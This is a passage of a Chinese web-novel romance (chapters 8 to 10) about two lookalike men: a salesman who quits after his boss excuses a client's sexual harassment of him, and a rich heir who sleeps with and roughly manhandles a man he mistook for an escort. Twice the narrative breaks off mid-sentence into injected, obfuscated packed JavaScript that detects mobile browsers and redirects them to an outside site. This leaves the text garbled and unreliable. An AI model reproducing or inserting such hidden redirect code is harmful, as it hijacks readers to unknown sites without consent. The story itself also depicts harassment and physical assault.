他猛地打开门,将何新非对着他背影自wei的呻吟声关在门后,因为被恶心的够呛,受了太大的刺激,他整个人眼睛都是红色的,眼前也虚化一片。 转过走廊,他准备乘电梯往楼下走,岂料久等电梯也不来,气地他用力在墙上砸了一下,骂了一句,转头就想走。 “叮——” 在他即将转身离开的时候,电梯门却忽然打开了。 “哥哥呢......” 在会场就等哥哥不回来、打电话给哥哥也不接的阮寄情在路人的提示下,一路找了上来,岂料还没找到阮寄水,就看到了连江雪。 “好巧!”阮寄情一看到连江雪,眼睛就一亮,赶紧走上前来,抓住连江雪的手腕,开心道: “连......” “别碰我!”连江雪刚刚被性\骚\扰过,正是对肢体接触很敏感的时候,刚被阮寄情抓住手腕,就反应很大地甩开了他,后退几步道: “别过来。” 阮寄情:“........” 他愣愣地看着头发凌乱、眼睛赤红的连江雪,有些不知所措: “你怎么了呀。” “........”连江雪反应过来之后,知道自己是应激了,深呼吸一口气,强迫自己冷静下来,摆了摆手,道: “没事。” 他顿了顿,又补了一句: “抱歉,让我自己冷静一下可以吗?” “你的手......” 看着连江雪破皮的指骨,阮寄情有些着急,上前一步,道: “你是不是和人打架了。” 连江雪心情很不好,摆了摆手,没有应声,在电梯门打开的间隙,就走了进去,直接按下了一楼键。 懂眼色的现在应该识趣地给连江雪让出独处的私人空间,可偏偏阮寄情是个看不懂眼色的,他上前几步和连江雪挤进了电梯间,完全忘了自己是因为担心阮寄水找来此处的,跟着连江雪一起下了楼。 连江雪心情不好,也懒得搭理阮寄情,等电梯门一打开,他就大踏步地走出电梯间,出了酒店,找到自己的车,打开车门坐了进去。 他从柜子里翻出一包烟,颤抖着手抽出一根,含在唇边,正欲点燃,岂料翻遍全身上下,都没找到一个打火机。 他本来就不经常抽烟。 在意识到车上和身上都没有打火机之后,连江雪终于放弃了。 “......操。” 他用力咬了咬烟嘴,随即降下车窗,将没点燃的烟对着垃圾桶丢了过去,片刻后也不知道丢没对准,就踩下油门离开了。 很快,比亚迪就驶离了酒店门口,阮寄情站在不远处,看着连江雪的车消失在视线内,才慢慢走过去,捡起了连江雪丢在地上的烟。 烟没被抽过,因为被连江雪咬过,烟嘴有点扁,还带着微微的湿润。 阮寄情将烟上的尘土拍干净,将其握在掌心里,片刻后想了想,跑回去找酒店前台借了一个打火机。 他也不嫌脏,将连江雪的烟含在唇边,想象着连江雪抽烟的样子,用力吸了一口烟,被呛得脸颊涨红。 ........好难抽。 阮寄情放弃了抽烟,蹲在酒店门口,熄灭了烟。 刚才到底发生了什么? “连拂雪”为什么会突然心情不好? 难道和刚才那个何新非有关? 阮寄情是娇生惯养的富家小少爷不错,但也不是完全不通人情世故,联想到“连拂雪”送完何新非回房间后,指骨上的伤和难得充满戾气的神情,就知道事情不简单。 他拍了拍身上的烟灰,站起身,将剩下的半截子烟放进了自己的口袋里。 天凉了,让何家破产吧。 8. 第 8 章 阮寄水一睁眼,映入眼帘的就是一个结实、精壮、赤裸的男人胸膛。 他朦胧懵懂的瞳仁颤动了片刻,理智的清醒才随着视线的清晰姗姗来迟,这才看清睡在自己身边的,不是经常陪伴自己的宠物玩偶,而是一个会呼吸、会喘气的大男人。 他难以置信地瞪圆眼睛,片刻后猛地坐了起来,岂料昨天晚上他被折腾的不清,腰间的胀痛酸麻如同刺骨的针一般扎进他的骨髓,他只能扶着腰又倒了下去,因为疼痛,甚至起了一身的鸡皮疙瘩。 他倒下去时,床往里陷了一些,连拂雪没有睡死,被阮寄水自己折腾出来的动静弄醒了。 他大脑瞬间清明一片,放在床上的手指情不自禁地收紧成拳,猛地睁开眼,警惕的视线在身边人的脸上转了一圈,见是昨天陪他睡觉的小鸭子,扬起的眼尾又缓缓下耷,变成昨晚那副吊儿郎当的纨绔公子模样。 “醒了?”他的声音沙哑低沉,带着晨起的磁性,有力的双臂拦着阮寄水的肩膀,将他拉向自己,重新闭上眼睛时又低头准确地在阮寄水的脸颊上亲了一口: “乖乖,再陪我睡一会儿。” “......我睡你爸!” 阮寄水脸颊涨红,憋了半天才憋出一句,伸出手想要推开连拂雪,却不小心伸出手,在连拂雪的脸颊上拍了一下,发出清脆的声响。 不疼,但动静挺唬人的。 连拂雪再度睁开眼睛时,眼底的睡意已经荡然无存。 他一把拍开阮寄水的手,在阮寄水还未反应过来的时候,掌心就包住他的手腕,像是铁钳一般,猛地反剪到阮寄水的背后,右手腾出来,抓着阮寄水的后脖颈,猛地将他按进枕头里,阮寄水眼前瞬间一黑,剧痛让他的感官集中在后腰和手臂处,听见男人附在他耳边轻声道: “你他妈是不是活腻了?” 阮寄水用力挣扎了一下,反而被攥的更紧,他的脸被强行压在枕头上,几乎抬不起来,因为窒息而脸颊涨红,大脑一片空白。 连拂雪见人老实了,差不多了,才松开阮寄水。 阮寄水得以喘息,猛地抬起头来,撕心裂肺地咳嗽起来,因为窒息所以流下的生理性的眼泪淌了满脸,又狼狈又可怜。 连拂雪心如铁石,见状也没有任何怜惜的意思,径直下了床,从椅背上捞起自己的衬衫,披在身上,低头系扣子。 阮寄水缓过劲儿来了,坐在床上,抬头看着连拂雪紧实有力的背肌,头发蓬松地垂落下来,垂到床上,哑着嗓子道: “你会后悔的。” 连拂雪穿好衣服,转过头来,看着阮寄水,微微挑起眉头,嘴角勾起似笑非笑地弧度,就这么看着阮寄水,并不吭声。 阮寄水见他没有把自己的威胁放在心上,忍不住有些恼羞成怒。 他用力攥紧拳头,看着连拂雪随意从裤兜里掏出一盒烟,咬在唇边,用打火机点燃,胸中的怒火在熊熊燃烧: “我会让你求生不得,求死不能。” 连拂雪垂着眼睛看他,闻言不可一世地笑了一下,指尖夹着细烟,靠在桌边,说话时白烟从鲜红湿润的薄唇里吐出,晨起的阳光打在他的衬衫上,勾勒出他劲瘦的腰肢。 他抽完一根烟,又拿出一根笔,写了几个字,将长长的纸条撕下来,叠成小长条,别进阮寄水的耳后,顺手将阮寄水的长发整理了一番: “我等着。” 他伸出手掌,不轻不重地拍了拍阮寄水的脸: “但在弄死我之前,先把屁股养好。” 阮寄水:“..........” 他气地整个人都在抖,伸出手想要给连拂雪一巴掌,却被连拂雪攥在手里,偏头漫不经心地亲了一下他的手背: “走了,宝贝儿。” 言罢,连拂雪一点也不留恋地松开阮寄水,抬脚往门口走去。 房间门重重关上,房间里很快只剩下阮寄水一个人。 阮寄水气地头昏,坐在床上强迫自己冷静下来之后,才想起来连拂雪在自己的耳边别了东西。 他拿下那长长的纸条,展开,只见是一张支票,支票上写了五万。 “........” 阮寄水一把撕了支票,丢在地上,抓起连拂雪睡过的枕头就丢在地上,没砸到连拂雪,反而牵动了腰处,疼的扶着腰,趴在床上,好半天起不来。 缓过疼后,阮寄水回到公司,第一件事,就是要终止和腾云科技的合作。 “爸爸,我想了想,腾云科技的芯片还没完全投入市场,我们还需要慎重一些,再进一步调研,才能得出合作的结论。” 阮寄水坐在总经理的位置上,给阮泽成打电话: “所以签合同的事情,我想再缓一缓。” 阮泽成前天飞M国了,一时半会儿回不来,电话那边他似乎还有会,听见阮寄水的话,便“嗯”了一声, “既然这样,那就等我回来再说吧。” “好。”阮寄水挂了电话,就立刻让助理通知腾云科技,终止合作。 他对着阮泽成那边,是说进一步调研后再合作,但对腾云科技这边,态度却格外强硬的,要完全终止合作,并且放言后续都不会再采用腾云科技的产品。 腾云科技这边都开始拟合同了,法务部的人更是加班了两个大夜,本以为这两天能把合同签下来,接过突然接到消息,说名诚集团不和腾云科技合作了,从管理层到部门牛马,全部都傻了眼,根本就不知道哪里得罪了阮寄水。 大boss柯云飞原本在外面休假,刚到国外就听说了这件事,也坐不住了,马上就飞回国,要见阮寄水一面。 阮寄水根本不想见他,架不住柯云飞硬等,只能见了他一面。 在柯云飞的旁敲侧击下,他才知道,原来是连江雪得罪了这位名诚集团的长公子,而且看样子,似乎还得罪的不轻。 “除非连江雪在跪在我面前和我道歉,否则名诚后续就不会和腾云合作。” 阮寄水也说的很狠,“柯总请回吧。” 他根本没有给柯云飞赔罪的机会,也没有告诉柯云飞,连江雪到底是怎么惹他生气的,搞得柯云飞一头雾水,回到公司之后,又听说连江雪前几天把何新非打了,何新非这几天有事没事就来阴阳威胁他一下,搞得柯云飞非常被动,很多业务也因此被迫中止,无法进行下去。 一想到损失了几千万的订单,马上又要失去一个长期的合作伙伴,柯云飞坐在老板椅上,越想越气,再也按捺不住,把连江雪从办公室薅出来,将手中的文件全部扎在连江雪的头上,劈头盖脸就是一顿骂: “连江雪,你怎么回事?!你是不是觉得我欠了你一个副总之位,所以干脆破罐子破摔了,连何总都敢打?!你是不是吃了熊心豹子胆了?!而且我都答应给你涨工资了,你还要怎么样?!你现在就去给我和何总和阮总经理道歉,没得到他们的原谅,你他妈也别干了!” 面对柯云飞的怒火,连江雪隔着一张桌子,掀起眼皮,看着柯云飞,眼底没有多少情绪,在漫天飞舞的文件里,他等着柯云飞说完之后,才深吸一口气,格外冷静道: “第一,我没有破罐子破摔,我打何新非,是因为他性\骚\扰我。” “第二,我在公司呆了这么长时间,为公司签下这么多单子,涨工资是我应得的,不是你赏赐给我的。” “第三,你想辞退我,可以,N+1的赔偿一到账,我马上走人。” 柯云飞当然不想辞退连江雪,没了连江雪,上哪去找这么牛马这么能干的老员工,但连江雪和他呛声,他当然也不爽,忍不住道: “你一个大男人,被摸几下怎么了,又不会少块肉,何总喜欢你,是看得起你。” 他说:“和公司上千万的业绩来说,被摸几下又算得了什么?” 连江雪:“.........” 他像是第一次认识柯云飞一样,认真地看了他一眼,随即捡起地上的文件,对着柯云飞的脸就甩了过去,以其人之道,还治其人之身,一字一句道: “你想卖屁股,你自己卖。” “我不伺候了。” 言罢,连江雪径直走出柯云飞的办公室。 柯云飞在背后道: “连江雪,你可别后悔你今天的话!腾云科技没了你照样转,你又算什么东西?!” 连江雪直接无视他,猛地关上门,将那些吵闹都关在身后,好半晌,才深吸一口气,骂了一句: “神经病。” 他以前再烦也不会在公司抽烟,现在也顾不上了,走出柯云飞的办公室之后,抽着烟就往回走。 周围的同事看到他,都有些惊讶和奇怪道: “连总. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118171|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....” “老连,你怎么........” 连江雪没管,坐在自己办公室的椅子上,最后扫了一眼桌上的东西,把自己负责的材料签完字,才起身,把烟按进烟灰缸里,开始收拾东西。 他经常在外面跑业务,办公室里的东西很少,没多久就收拾完了,拎着包出了公司大门,就向他之前跑业务一样。 但连江雪知道,这一次不一样。 或许这一次出了门,他就再也不会回来了。 不回来也好,这样的公司,也没有什么呆的必要了。 思及此,连江雪深吸一口气,踏进了下楼的电梯。 电梯门关上,急速下坠,到了一楼后,又缓缓打开。 连江雪从电梯门里出来,和在另一边等电梯的连拂雪擦肩而过。 连拂雪这几天玩的有点疯,昼夜颠倒,错过了去公司报到的时间,宿醉的头疼让他闭着眼睛,伸出手按了按眉心。 他也是真的无所谓,毕竟他是总部派来的,就算是柯云飞,也不能拿他怎么样。 要不是江韵书三令五申,说再不去报到,就要从京城飞来容港找他,他才不来呢。 正想着这件事,电梯门打开,连拂雪见状踏进电梯,想了一会儿,才按下电梯。 到了腾云科技门口,看着上面的银色金属字标,他走到前台,倚在上面,笑意散漫地看着前台的小妹妹: “你好,请问总裁办公室怎么走?” 前台有些惊讶地看着他,伸出手指了指: “走廊尽头右拐就是。” 连拂雪点了点头,直接穿过众多人的工位,不紧不慢地朝柯云飞的办公室走去。 他也不打招呼,看了一眼门上挂着的牌子,就直接推门走了进。 柯云飞还坐在老板椅上生着气,见“连江雪”又回来了,以为连江雪是冷静下来后知道自己不能离开公司,于是冷笑一声,道: “之前不是挺能耐的吗?!现在又知道回来了?!” 连拂雪偏头看了他一眼,指了指自己,道: “你在和我说话?” 柯云飞被气得无语,一拍桌子猛地站了起来,怒不可遏道: “你别和我装傻!不想干,就趁早别干了!你现在,要么就去和何新非和阮总好好道个歉,直到他们原谅你,要不然,你就彻底滚出腾云!腾云要不起你这样的员工!” 连拂雪盯着柯云飞看了一会儿,片刻后,才双手插兜,不紧不慢地走到柯云飞面前。 隔着一张桌子,看着柯云飞,连拂雪缓缓眯起眼睛,道: “柯云飞,你是不是不想干了?” 柯云飞还没有被连江雪直呼大名过,怒火中烧之下,甚至还恢复了冷静: “.......你什么意思?” 连拂雪绕过桌边,直接在他的老板椅上坐了下来,双脚交叠压在桌上,仰头打量了一下这间办公室,自顾自满意道: “这件办公室不错,安静,光线好,还大,以后我就在这里办公。” 柯云飞没想到连拂雪会坐他的椅子,还说出这么超纲的话,瞪大眼睛,不可思议地看着他: “连江雪,你是不是疯了?!你起来和我说话!” 连拂雪屁股都不带挪一下的,双手交叉,放在胸前,仰头看着柯云飞,视线自下而上地看着柯云飞,好半晌,才似笑非笑道: “连江雪?” 他说:“你看清楚我是谁。” 言罢,他从衣服里掏出一张皱巴巴的纸,丢到桌上,道: “睁大眼,好好看看。” 柯云飞被他这个样子搞得心里发虚,犹豫了很久,才伸出手,拿起了那张纸,缓缓展开。 是一张总部传来的任命书,盖着鲜红的公章,要求腾云科技进行接洽。 而任命书上,清晰地写着三个字—— 连拂雪。 连拂雪,江氏集团董事长江韵书唯一的亲生儿子。 “看清楚了?知道我是谁了?”连拂雪看着瞬间就冒出冷汗的柯云飞,不紧不慢地转着椅子,像是小孩一样,脚一蹬,拉着椅子,仰头凑近柯云飞,故意又问了一遍,眨了眨眼睛道: “柯总,我比你小几岁,耳朵还好使,刚刚好像听见你说—— 让我不想干别干来着?” 9. 第 9 章 柯云飞的冷汗瞬间就下来了。 在江拂雪来之前,他就托总部的人打听过,这个新来的小连总究竟是个什么性格,平时与他相处,是否有需要注意的地方。 但是总部的人其实也对连拂雪一无所知。 连拂雪毕业于Y国皇家艺术学院,毕业之后之前一直在国外搞艺术,有自己的工作室,据说还是个名气不小的新锐画家,一幅画千金难求,画不画,全看他心情。 大部分搞艺术的都比较爱自由,连拂雪在国外浪了好几年,本以为好日子能继续持续下去,没想到刚过完三十岁生日就被江韵书call回家继承家业,事与愿违,此刻心情分外糟糕,连从小到大陪他一起长大的发小都不敢随便招惹他,何况是一个区区分公司出身的柯云飞。 见柯云飞难得错愕,回答不出来,连拂雪轻哼冷笑一声,椅子往后一退,双脚自然交叠在桌上,随便拿起一个文件夹看,看都不看柯云飞: “没事了就出去吧。” 柯云飞被占了办公室,也不能说什么,站在原地犹豫了很久,才道: “我在隔壁留了一间办公室给您......” “我说了,我就要这间。”连拂雪从蓝色的文件夹里露出一双狭长的丹凤眼,冰冷锐利: “你听不懂吗?” “.........”柯云飞顿了顿,一句话不敢说,好半晌,才心不甘情不愿地起身,打开门出去了。 等他一走,连拂雪才把那份材料丢到桌上,嘀咕了一句: “什么乱七八糟的,看不懂。” 他是学美术出身的,对产业研发宣传和销售一窍不通,看了也是白看。 要是换做别的家族,他是肯定不会被当做继承人来培养的,可惜江韵书就只生了他一个,他就算再不想,也只能乖乖听话,回家继承家业。 他起身,站在落地窗前,看着不远处的高楼和脚下的车水马龙,瞳仁里倒映出天边的青蓝。 ......好想画画。 连拂雪强迫自己止住这个想法,好半晌,又坐回了老板椅上。 他刚坐下去,江韵书就给他发了消息,问他有没有去报道。 连拂雪拿起手机,翻转镜头,拍了一张自己在办公桌前的自拍,给江韵书发了过去,这才把手机扣在桌子上,继续埋头熟悉工作。 他不是这个专业领域的,也没有基层的工作经验,即便是先从副总干起,也有很多东西是不懂的,连拂雪恶补了几天之后,终于放弃了。 难怪老一辈说“术业有专攻”,一向自认为聪明的连拂雪换了个领域,就有些傻眼了。 然而让他更傻眼的是这个月的销售情况,自从连江雪走之后,销售部群龙无首,销售额开始走低,业绩不达标,和名城集团的合作也停滞不前,何氏集团还时不时搞点小动作恶心他腾云一下,搞得连拂雪烦不胜烦。 “这个连江雪是腾云的骨干员工,你怎么管理下属的,怎么让人就这么走了?” 连拂雪名义上是副总,实际上是腾云公司的老大,坐在老板椅上,一手指尖夹着烟,一只手上拿着资料,看连拂雪任职期间的业绩贡献,吞云吐雾,眉头紧皱,把柯云飞训的和孙子似的: “名城集团的小阮总又是怎么回事?为什么突然终止合作?何新非最近又怎么老是给我们使绊子?” “咳.......”柯云飞开始推卸责任: “名城集团那边事发突然,我也不知道是发生什么,让小阮总大发雷霆,说要终止合作。至于何氏那边,据连江雪所说,是何新非性\骚\扰他,他才不想做了,何新非也一直记恨在心,最近一直在给我们使绊子。” “......”连拂雪猛地抽了一口烟,掀起眼皮看着柯云飞,似笑非笑道: “我看,不是何新非性\骚\扰他,所以他不想做了,是你明明知道有这回事,还默许何新非的作为,所以他不想做了吧。” 柯云飞见连拂雪看穿了他,也就不装了,直接道: “都是男人,被摸几下又不会吃亏,他本来就是做销售的,让客户高兴,才能签下单子。” “是做销售又不是做鸡鸭,你把人家员工当什么了。” 连拂雪话糙理不糙,直截了当道: “他的辞职报告我不批。我不管你用什么办法,把人请回腾云。” 柯云飞上个月才和连江雪大吵一架,如今又要把人请回腾云,他拉不下这个脸,于是道: “连总,连江雪这个人性子太傲,不好管理,要不.......” “听不懂人话?我让你把他请回来。”连拂雪把烟按灭在烟灰缸里,道: “三天内,我要看见他重新出现在腾云,如果做不到,你也一起滚蛋。” 他脾气暴躁,看起来就不是很好惹的样子,柯云飞没招了,只能含糊地应下。 名城集团的合作必须进行下去,阮氏那边解铃还须系铃人,还需要连江雪回来善后处理..... 至于何氏那边,也总得想个办法敲打敲打,但是连拂雪不精通商业这行,暂时还想不到办法来处理,只能寄希望于连江雪回来以后,能想到办法。 而连江雪这边,把辞职报告交上去之后,就马上开始找别的工作了。 他从腾云科技跳槽之后,因为多年的工作经验,其实还是有很多选择的,就是年龄稍微大了一点,在一群年轻人面前,还是有些吃亏。 一连面试了几家公司,都不是很顺利,不是嫌弃他的年龄,就是他的学历不够。 毕竟现在经济形势不好,本科生一抓一大把,连江雪去面试的时候,甚至还有硕士和博士。 “叮——”连江雪走出面试的公司,低头一看,见是划款信息。 这个月工资还没着落,房贷就已经扣出五千出去了,要是再找不到工作,不出半年他的存款就得完全告罄。 家里还有个生病需要吃药的老父亲要养,一睁眼就要花钱,连江雪顶着热浪,仰起头看头顶灼热的太阳和面前人来人往的人群,都在认真思考要不要去注册一个美团骑手,先送一送外卖得了。 面试公司的对面就是名城集团的大楼,看着集团大楼来来往往的人群,连江雪在街边的座椅上坐了下来,准备休息一会儿,就去路边的快餐店随便吃一点。 他正思考着要吃什么,名城集团的宣传门前,忽然走出来一个人。 他穿着清凉的白色衬衫和蓝色牛仔裤,头上还顶着一个黑色的贝雷帽,看起来简单又潮流,正打算过斑马线,朝这里走来。 连江雪定睛一看,见是阮寄情,犹豫了一会儿,想到前几天晚上的事情,还是打算先离开。 毕竟他那天晚上对阮寄情的态度不好,阮寄情要是记仇一点,现在估计都不搭理他了。 也是,毕竟是有钱人家的小公子,怎么可能和他这样的牛马搭上关系。 思及此,连江雪拿起包,径直离开了。 他漫无目的地往前走,打算坐公交车离开这里,随便找一家苍蝇小馆吃吃东西,刚走到公交站台,一只手就搭在了他的肩膀上。 “嘿!” 伴随着拍肩的响动,连江雪下意识回过头去,映入眼帘的,是阮寄情圆溜溜的眼睛和漂亮惊喜的脸蛋: “真的是你啊。” 他说:“你今天不用上班吗?” “........我失业了。” 连江雪顿了顿,道:“出来找工作。” “啊.......”阮寄情惊讶过后,又很快接话道: “你怎么优秀,肯定很快就能找到新工作的。” “借你吉言。”连江雪很勉强道: “公交车来了,我先走了。” “你要去哪,我送你吧,”阮寄情很热心: “我有车,就在附近。” “不用麻烦,”连江雪说:“我下午还有一场面试要去,在另一个区,现在坐车去,吃个饭差不多刚刚好,你送我的话,来回很麻烦。” “没事呀,我很闲的,公司里的事情有哥哥顶着,我偶尔翘班也没有人管。”阮寄情道:“太阳好晒呀,我站不住了,快走吧。” 言罢,他拉起连江雪的手腕,就带着连江雪快步离开了人挤人的公交站台。 他的跑车停在不远处的停车场,连江雪被强行推着,坐了进车里去。 阮寄情将钥匙插进车里,道: “去哪?” “........云城区。”连江雪说:“或者你想吃什么,先去吃饭也可以。” “那就先去干饭吧!”阮寄情兴致勃勃道: “我早就请你吃饭了,可是你一直没有通过我的好友信息,我都不好和你约时间的。” “.........?”连江雪心想自己好像从来就没有收到过他的好友信息,正打算开口一问究竟,就看见阮寄情拿起了手机,接起了电话,“喂,哥哥。” “你在哪里。”阮寄水清冷的声音从话筒里传来,道: “中午一起吃饭。” “不了哥,我约了人。” 阮寄情道。 阮寄水顿了顿,道: “是不是上次你介绍给我的腾云那个销售总监?” 在连拂雪身上载过跟头之后,他提到“连江雪”都是一副很厌恶的神情,连说起名字都不肯。 阮寄情应了一声:“就是他。” 阮寄水那边沉默的更久了,好半晌,才道: “阮寄情,别怪我没提醒你,那个人,可不是什么好人。” 阮寄情没把阮寄水的话放在心上,何况连江雪就坐在他旁边,他怕连江雪听到,于是只随便敷衍了一句,就把电话挂了,将跑车驶离停车场。 阮寄水见阮寄情没把他的话放在心上,心中更是郁闷。 他这几天心情不太好,下了班之后,便和朋友约在了最常去的一家酒吧见面,换换心情。 “要我说,你就是对你弟弟太好了,要是换做我,我才懒得提醒他,就让他自己自生自灭。” 朋友林元澄道: “你不是一直讨厌他吗?” 阮寄水坐在包厢的沙发上,指尖捏着酒杯,在酒吧震耳欲聋的歌声中,慢声道: “我是很讨厌他。” “是吧。你弟弟出生之后,你爸爸全身心都扑在他身上,要什么给什么,你呢,倒像是这个家的外人了。” 林元澄说: “玉阿姨去世的时候,阮泽成说的多好听,说这辈子不会再娶,结果三年后,就再婚了,再过一年,连孩子都有了。” 这件事一直是阮寄水心里过不去的那道坎,也正因为这个,他对阮寄情的感情一直很复杂。 爱说不上,恨倒是真的。 阮寄情的出现让阮寄水彻底成了这个家的外人,每次看到他们一家三口团团圆圆和和睦睦坐在一起吃饭的模样,阮寄水都觉得分外刺眼。 原本只是想出来放松的,结果反倒心情更不好了,阮寄水坐在沙发上,一杯一杯喝着酒。 酒吧的灯红酒绿将人的情绪成倍放大,阮寄水很快就喝的半醉,看着林元澄端着酒杯,去了舞池中心。 似乎是来了一个男人,身材不错,好多人都围了上去,要请他喝一杯酒。 阮寄水原本对男人没兴趣,但看着那个男人的侧脸,莫名又想到那天他喝醉了,被“连江雪”按在床上时,男人带着野性的眉眼和急促的喘息。 他只觉浑身燥热起来,用力攥紧拳头,视线紧紧盯着那灯红酒绿正中的男人,片刻后拿起酒杯,晃了晃脑袋,踉踉跄跄地走了上去。 连拂雪这几天处理公司的事情处理的头疼,是来喝酒放松的,他模样长得好,刚进酒吧就引起了不少人的注意,他目光在人群里搜寻,准备挑个合适且顺眼的床伴度过今夜。 在酒吧里猎艳是不需要用真名的,他今晚没有遇到合眼缘的,抬手婉拒了几个人的邀约: “不好意思,今天有些累,先失陪了。” 言罢,连拂雪一滴酒没喝,就从椅子上站起身,正准备离开,岂料刚转过身,一个人就一头撞进了他的怀里。 他对拒绝这些投怀送抱的人很有经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118172|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验,立刻就把那个人推开了。 阮寄水被推的没站稳,踉跄几步,勉强站稳。 他抬起头,看着被灯光照的每一根头发都散着金色光泽的连拂雪的模样,顿了顿,半晌,试探性地喊了一声: “连江雪?” 他喝醉了,声音黏黏糊糊的,连拂雪没听清,“嗯?”了一声,算是疑问,却被阮寄水当做是回应。 下一秒,阮寄水就抬起手,将手中的酒杯泼了出去。 冰凉的酒液混着冰块从连拂雪的头顶落下,水液淌过连拂雪的眉心和脸颊,将他原本就立体的五官衬的愈发浓墨重彩,英挺俊秀的惊人。 连拂雪:“.........” 周围的人都被阮寄水这个举动惊呆了,连拂雪也彻底愣在原地,几秒钟后,他才冷酒浇头的从透心凉中反应过来,甩了甩头发,将水液甩出去,顺手将头发抚到头顶,露出光洁饱满的额头,简直气笑了: “你他妈是不是有毛病啊?” “我没病。”阮寄水说:“有病的人是你。” 连拂雪就闹不明白了,他出力又给钱,怎么这个小鸭子还不乐意了: “我有什么病?你至于吗,被睡了一次之后就要死要活的,你的屁股镶金还是镶钻了?” 阮寄水气的脸颊发红,抬手就想给连拂雪一巴掌,却被连拂雪攥着手腕动不了,骨头被捏的发疼,差点哭了: “我要找人弄你,我不会放过你的。” 连拂雪被逗乐了,被泼了酒的那点芝麻大小的怒意也消散的无影无踪,甚至还抬手,用力拍了一下阮寄水的屁股,道: “你要怎么不放过我?嗯?说话。” 他抬手又在阮寄水的屁股上扇了一巴掌,不轻不重,但羞辱意味极强,阮寄水羞耻的浑身发抖,抬手想要挠连拂雪一下,却被连拂雪整个扛了起来,压在了自己的肩膀上: “别作死。” 连拂雪: “再闹就当着所有人的面干你。” “.........”阮寄水柔软的小腹顶在连拂雪的肩膀上,天旋地转间整个人倒了过来,被颠的想吐。 他被连拂雪丢进车里的时候,整个人还有些懵,挣扎着想要起来,却被安全带固定在车上。 连拂雪关上车门,绕过车头坐进驾驶室,将车锁上,随即拿了一盒烟,抽出一根,咬在唇边,擦亮了打火机。 白雾袅袅升起,闻到烟味的阮寄水皱了皱眉头,闭眼偏过头去,连拂雪见状起了坏心思,故意凑过去,手掌压在阮寄水的椅背上,对着他吐了一口烟,呛的阮寄水剧烈咳嗽起来,用力推了一把连拂雪,哑声道: “滚!” 连拂雪捉弄完人以后心情大好,被推着坐了回去,看着阮寄水被呛的发红的眼尾,咬着烟不说话。 车窗折过耀眼的色泽,落在连拂雪的眼睛里,连拂雪耐心地等阮寄水不咳嗽了,才降下车窗,对着窗外弹了弹烟灰,慢慢道: “你想要多少钱?” 阮寄水红着眼睛抬起头,道: “你以为我是做鸭的?陪你睡一次就得找你要钱?” 连拂雪闻言,惊讶道: “你难道不是吗?” “......我是你爸爸!”阮寄水真的怒了: “那天我是来参加酒会的!不是专门来陪你睡觉的!” “怎么可能,那天明明.........” 连拂雪话说到一半,脑子里已经将那天的画面过了一半,似乎是意识到了什么,他手中的烟微微颤抖起来,心想卧槽我不会真的睡错人了吧,心里挣扎了很久,才试探着道: “你真的不是干那行的?!” “不是不是不是!那天是我的初吻和初夜!”阮寄水都快气炸了,被睡了不是最让他难受的,最让他难受的是他竟然是被当做鸭子睡了: “你个王八蛋,不问清楚就随便睡人!你也不怕得性\病!” 连拂雪被骂的难得哑然,好半晌,只能道: “那我睡也睡了,你想怎么办?先说好,我只在上面,我是不会让你睡我的。” “谁想再和你睡觉了!”阮寄水恨不得掐死他: “我要你和我赔礼道歉!” “额.........”连拂雪正想说些什么,手机忽然震动了起来。 他看了一眼来电人提示,见是柯云飞,便顺手接了起来: “怎么了,说。” 他看了一眼炸毛的阮寄水,头疼的不行: “我这里有事,长话短说。” “连总,我今天联系了连江雪,他说他不愿意再回腾云,而且已经准备找工作,跳槽去别的公司了。”柯云飞道。 “什么?!”连拂雪凝眉,指尖在方向盘上点了点,半晌道: “这样吧,你再约一个时间,让他回公司一趟,就说还有一些工作需要他交接,等他来了之后就把他带我的办公室,我亲自和他聊。” “好的。” 等柯云飞挂了电话之后,连拂雪才把手机塞进空格里,看着阮寄水,道: “好,那我和你道歉。” 他说:“那天我不该睡你,对不起。” 阮寄水没料到他这么爽地道歉,自己倒不知道该怎么接话了,好半晌,才别别扭扭道: “哦。” “你想要什么补偿,都可以。”连拂雪难得认真,道: “你随便开口,只要我能做到的,我都答应。” 阮寄水:“.........” 他吸了吸鼻子,转过头,看向窗外,好半晌,才道: “我没什么想要的。” “那就慢慢想。”连拂雪说:“你家在哪,我送你回家。” 阮寄水低下头,慢慢道: “我没家。” 他妈死了很多年了,爸爸也早就是别人的爸爸了。 “..........”连拂雪转头看向他,片刻后,伸出手,摸了摸阮寄水的头顶,低声道: “........那就先回我家吧。” 10. 第 10 章 阮寄水没有想过自己有一天会和一个陌生的男人回家。 一开始时,他是犹豫的,但拒绝的话还未说出口,他就看见了连拂雪转过头来,抬手将掌心放在自己头顶上时那略显温柔的眉眼。 男人的眸子是狭长漂亮的丹凤眼,微微眯起时有璀璨的流光从他瞳仁里划过,原本的锋锐和冷漠在夜色中无端被隐匿起来,换成了淡淡的柔和。 也许是愧疚,也许是抱歉,也许还掺杂着别的什么情绪,就像是面对一个因为疾风骤雨而略显萎靡的花,正常人都能起几分怜惜的心思,除此之外,却再无其他。 但这一点温柔的出现在连拂雪身上已经足够难得,阮寄水下意识屏住了呼吸,盯着连拂雪看,从而也就错过了拒绝的最好时机。 连拂雪见他不说话,便以为他同意了,便启动车子,带着阮寄水去了自己家。 他没有别的什么心思,只是觉得阮寄水现在心情不好,他对他有愧,自然该多照顾他一些。 他说他没有家,那他就带他回自己家。 